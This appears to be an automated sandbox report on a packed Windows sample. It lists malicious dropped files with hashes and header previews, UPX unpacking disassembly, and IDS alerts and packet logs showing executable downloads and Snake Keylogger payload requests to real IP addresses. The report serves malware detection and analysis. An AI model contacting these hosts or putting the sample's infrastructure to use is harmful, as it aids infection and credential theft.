Entropy (8bit):	4.372321664696258
Encrypted:	false
SSDEEP:	6144:/FVfpi6ceLP/9skLmb0myWWSPtaJG8nAge35OlMMhA2AX4WABlguNciL:tV1YyWWI/glMM6kF7qq
MD5:	84F69749ECEEE3D6D268C5E214FA8CFA
SHA1:	4568AD3FB20880D6D6F8AC74D2DE2F7E8C2DD03E
SHA-256:	2DCD2E3F2913C12DB6273F6836B147DAA033453DC2E166AD21383A8D12880E9B
SHA-512:	A8887F21C5452B571877B1A5A87BE80280641D6FDC685A856076744AFBD6D7B98539D365BCFE7DF6D14070A542DDD09CBE3A6D407F78CB2045B35EA6E910170A
Malicious:	false
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.c+.K]...............................................................................................................................................................................................................................................................................................................................................d<.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\cbas.exe

Download File

Process:	C:\Windows\wic.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	295424
Entropy (8bit):	6.538320460768025
Encrypted:	false
SSDEEP:	6144:f+VQ8IwL+ws3cGW4sUwbSQ5LXqAKMQ0LAObegN:f+VDrrGW4sUwbSQpQ0LFey
MD5:	9FD7C0ACC95C7F1311BDE279D0B6A03A
SHA1:	D4F4669166DA05A147EFC8CCC0EEE9AFCA11E31C
SHA-256:	C79ED70E47990280B90BDC01049AF041B331E1559CFC34D3721B5AAB3E0A75D1
SHA-512:	CD8F0FB24B6E390249049507684C4C84D57A4C4BE9C5260C41A64C7B875D71FCE925582286A9D409D97797B33C2643F87EEA264505CB2103D20EAD6C82657B6A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.b.............z.......z......z.......[.......z..............[...I...[...(........................Rich....................PE..L...s"&g.....................v......,:.......0....@.......................................@.................................xG..<...............................L......p...........................0...@............0...............................text............................... ..`.rdata.."...0...$..................@..@.data...@ ...`.......@..............@....rsrc................R..............@..@.reloc..L*.......,...V..............@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\msslac.dll

Download File

Process:	C:\Windows\wic.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	208896
Entropy (8bit):	6.070094852016993
Encrypted:	false
SSDEEP:	3072:gPTXczuCIcS5TqD4ejPXptBacZEvDkFOS94NtP6p6TQceOM:mszGT5TqEer9a6Evw26pK
MD5:	5E3BC49297F0765C486693790157273F
SHA1:	7CFD2A0465B27C7201C5F096495201D16F5771EB
SHA-256:	7420929E197D7328C047B8CB9075258367AC58935A8DA197F0A8A8C856292633
SHA-512:	6F7E2948C72398422B160D735E8D133EB95F91567820AC9C8853AA75CF2B1F9712242F538950BF969B9A0933FE659CDA0CDF2DB77B34FF22A99A875FB392D612
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s.............q.....q.........g.............#.......................................Rich....................PE..L.....&g...........!......... ......B........................................p......)T...............................{..C...pg...........:................... ..x...p................................C..@....................f..@....................text...^........................... ..`.rdata...k.......p..................@..@.data...\|Z....... ..................@....rsrc....:.......@..................@..@.reloc...I... ...P..................@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\wic.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3483648
Entropy (8bit):	7.130127005924049
Encrypted:	false
SSDEEP:	98304:AC4igShR3sZxWFJhbmp2KuSKafRJFLOAkGkzdnEVomFHKnP:F4ifqEwuSKanFLOyomFHKnP
MD5:	6AD65B03E75BC5509BA3104510178EE6
SHA1:	DBA73F97938D2DAB4BF8FB8076B363DB82AD3A16
SHA-256:	4D74EB72321C5137ED364541DEEF19DDC30593FFF62ABAB2A3D17A0BAD7BD5C6
SHA-512:	976C7ABA50E17271F6AEA4AB80E7BC89E68727164D98D99566E0752B4989D716A849B0CC53F0321A53DCE6086EF4CAB1604AAE8456CE76BFEACF185137AA8BA8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.3.#.].#.].#.].F.^.=.].F.Y...].F.X...].F.[. .].q.Y...].q.^.:.].q.X._.].F.\...].#.\.5.]...T. .].....".].#..".]..._.".].Rich#.].................PE..L....>&g.....................R...............0....@...........................5...........@..................................[..\|....P.......................p3..2......p...............................@............0...............................text............................... ..`.rdata...b...0...d..................@..@.data...........^..................@....rsrc........P......................@..@.reloc...2...p3..4....2.............@..B........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	5.851653303471141
TrID:	Win32 Executable (generic) a (10002005/4) 98.59% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02%
File name:	file.exe
File size:	6'656 bytes
MD5:	06303600a3a44eb2fbce248eb0fe9fc1
SHA1:	ccfb720a50808469da5d67eea306d08f51e11538
SHA256:	db69f19879e131fd35e882606148335c6dcb26cbea650d394ba519d76c57bb85
SHA512:	b135f23760aba312cb0c0cab697d2ec4f735f5cad9011d3b11310eb9cc59f65c4ffdc757e4f39bdcf6c8abb3badb6865301ffd5ed817c1251b6ecabe21f17df9
SSDEEP:	192:DfaOBqbo/qmA2LEnrtDINynT+vCgcJXB:OOY8tLqltJXB
TLSH:	C1D15B4AFB61AC33E215893165AFD6732645F460423E0B8B7AF42F473C62611BF06E32
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i...d...i.Rich..i.................PE..L.....U].........................P.. j...`...p....@........................

File Icon


Icon Hash:	061606063b074e20

Static PE Info

General

Entrypoint:	0x406a20
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x5D55F49F [Fri Aug 16 00:11:11 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	be19e18d6a8b41631d40059031a928bb

Entrypoint Preview

Instruction
pushad
mov esi, 00406000h
lea edi, dword ptr [esi-00005000h]
push edi
or ebp, FFFFFFFFh
jmp 00007F4750C97172h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F4750C97169h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F4750C9714Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F4750C97169h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F4750C97151h
jne 00007F4750C9716Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F4750C97146h
xor ecx, ecx
sub eax, 03h
jc 00007F4750C9716Fh
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F4750C971D6h
mov ebp, eax
add ebx, ebx
jne 00007F4750C97169h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 00007F4750C97169h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jne 00007F4750C97182h
inc ecx
add ebx, ebx
jne 00007F4750C97169h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F4750C97151h
jne 00007F4750C9716Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F4750C97146h
add ecx, 02h
cmp ebp, FFFFF300h
adc ecx, 01h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F4750C97171h
mov al, byte ptr [edx]
inc edx
mov byte ptr [edi], al
inc edi
dec ecx
jne 00007F4750C97159h
jmp 00007F4750C970C8h
nop
mov eax, dword ptr [edx]
add edx, 04h
mov dword ptr [edi], eax
add edi, 04h
sub ecx, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x78d0	0xd4	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7000	0x8d0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x5000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x6000	0x1000	0xc00	0a0e4af6bf1b82abadde6acd6f70f4f8	False	0.947265625	data	7.544656426324873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7000	0x1000	0xa00	992fe5323d933253ef0f2962583f7f0e	False	0.53515625	data	4.250073082882718	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
SETTINGS	0x4148	0x1de	empty			0
RT_ICON	0x714c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.6213872832369942
RT_GROUP_ICON	0x76b8	0x14	data			1.1
RT_VERSION	0x76d0	0x200	Intel ia64 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970	English	United States	0.513671875

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
MSVBVM60.DLL

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T20:19:53.308506+0100	2800781	ETPRO EXPLOIT Microsoft Windows Shell Buffer Overflow	1	47.254.187.72	80	192.168.2.8	49712	TCP
2025-01-02T20:20:00.022678+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:00.022678+0100	2021245	ET MALWARE Possible Dridex Download URI Struct with no referer	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:00.022678+0100	2022550	ET MALWARE Possible Malicious Macro DL EXE Feb 2016	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:00.940785+0100	2800029	ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass	1	47.254.187.72	80	192.168.2.8	49704	TCP
2025-01-02T20:20:01.350927+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:01.350927+0100	2021245	ET MALWARE Possible Dridex Download URI Struct with no referer	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:01.350927+0100	2022550	ET MALWARE Possible Malicious Macro DL EXE Feb 2016	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.349251+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.349251+0100	2021245	ET MALWARE Possible Dridex Download URI Struct with no referer	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.349251+0100	2022550	ET MALWARE Possible Malicious Macro DL EXE Feb 2016	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.912369+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.912369+0100	2021245	ET MALWARE Possible Dridex Download URI Struct with no referer	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:06.912369+0100	2022550	ET MALWARE Possible Malicious Macro DL EXE Feb 2016	1	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:07.963064+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49704	47.254.187.72	80	TCP
2025-01-02T20:20:12.517435+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49712	47.254.187.72	80	TCP
2025-01-02T20:20:12.799717+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49711	142.250.185.142	443	TCP
2025-01-02T20:20:12.805199+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49710	142.250.185.142	443	TCP
2025-01-02T20:20:13.134290+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.8	49715	69.42.215.252	80	TCP
2025-01-02T20:20:13.302985+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49712	47.254.187.72	80	TCP
2025-01-02T20:20:13.903435+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49716	142.250.185.142	443	TCP
2025-01-02T20:20:13.927653+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49717	142.250.185.142	443	TCP
2025-01-02T20:20:14.094317+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49712	47.254.187.72	80	TCP
2025-01-02T20:20:15.031345+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49724	142.250.185.142	443	TCP
2025-01-02T20:20:15.042172+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49726	142.250.185.142	443	TCP
2025-01-02T20:20:16.373580+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49729	142.250.185.142	443	TCP
2025-01-02T20:20:16.373656+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49730	142.250.185.142	443	TCP
2025-01-02T20:20:17.462542+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49737	142.250.185.142	443	TCP
2025-01-02T20:20:17.583614+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49736	142.250.185.142	443	TCP
2025-01-02T20:20:18.513226+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49744	142.250.185.142	443	TCP
2025-01-02T20:20:18.685960+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49745	142.250.185.142	443	TCP
2025-01-02T20:20:19.544520+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49749	142.250.185.142	443	TCP
2025-01-02T20:20:19.693333+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49750	142.250.185.142	443	TCP
2025-01-02T20:20:20.435211+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49755	142.250.185.142	443	TCP
2025-01-02T20:20:20.741846+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49756	142.250.185.142	443	TCP
2025-01-02T20:20:21.473352+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49761	142.250.185.142	443	TCP
2025-01-02T20:20:21.774042+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49763	142.250.185.142	443	TCP
2025-01-02T20:20:22.527285+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49765	142.250.185.142	443	TCP
2025-01-02T20:20:22.798981+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49766	142.250.185.142	443	TCP
2025-01-02T20:20:23.548979+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49769	142.250.185.142	443	TCP
2025-01-02T20:20:23.837696+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49771	142.250.185.142	443	TCP
2025-01-02T20:20:24.499207+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49775	142.250.185.142	443	TCP
2025-01-02T20:20:25.555894+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49779	142.250.185.142	443	TCP
2025-01-02T20:20:25.578652+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.8	49780	142.250.185.142	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:19:59.164714098 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:19:59.169559002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:19:59.169678926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:19:59.173172951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:19:59.178003073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.022562981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.022583008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.022593975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.022605896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.022677898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.022677898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.022802114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.022814989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.022826910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.022839069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.022878885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.022901058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.023629904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.023654938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.023688078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.023745060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.027524948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.027580023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.027585030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.027630091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.027704954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.027723074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.027770996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.113209963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113241911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113291979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113420963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113432884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113445044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113468885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.113508940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.113888979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113900900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113913059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113929033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113941908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.113960028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.113991976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.114005089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.114573956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.114588022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.114607096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.114619970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.114641905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.114691973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.115236998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.115255117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.115267992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.115279913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.115292072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.115293980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.115305901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.115354061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.115452051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.116039991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.116050959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.116106033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.155777931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.155810118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.155822039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.155927896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.155972958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.203846931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.203865051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.203891993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.203903913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.203912020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.203943014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.203957081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.203969002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.203995943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.204056978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.204237938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.204313993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.204411983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.204423904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.204430103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.204440117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.204453945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.204466105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.204478979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.204488039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.204494953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.204513073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.204540968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.204576015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.205262899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.205279112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.205291986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.205324888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.205354929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.205641031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.205652952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.205704927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.205715895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.205728054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.205729961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.205755949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.205800056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.206165075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.206178904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.206186056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.206217051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.206228971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.206239939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.206244946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.206259966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.206271887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.206285954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.206326962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.206366062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.207079887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.207092047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.207103014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.207123995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.207138062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.207149029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.207161903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.207175016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.207175016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.207181931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.207207918 CET	49704	80	192.168.2.8	47.254.187.72
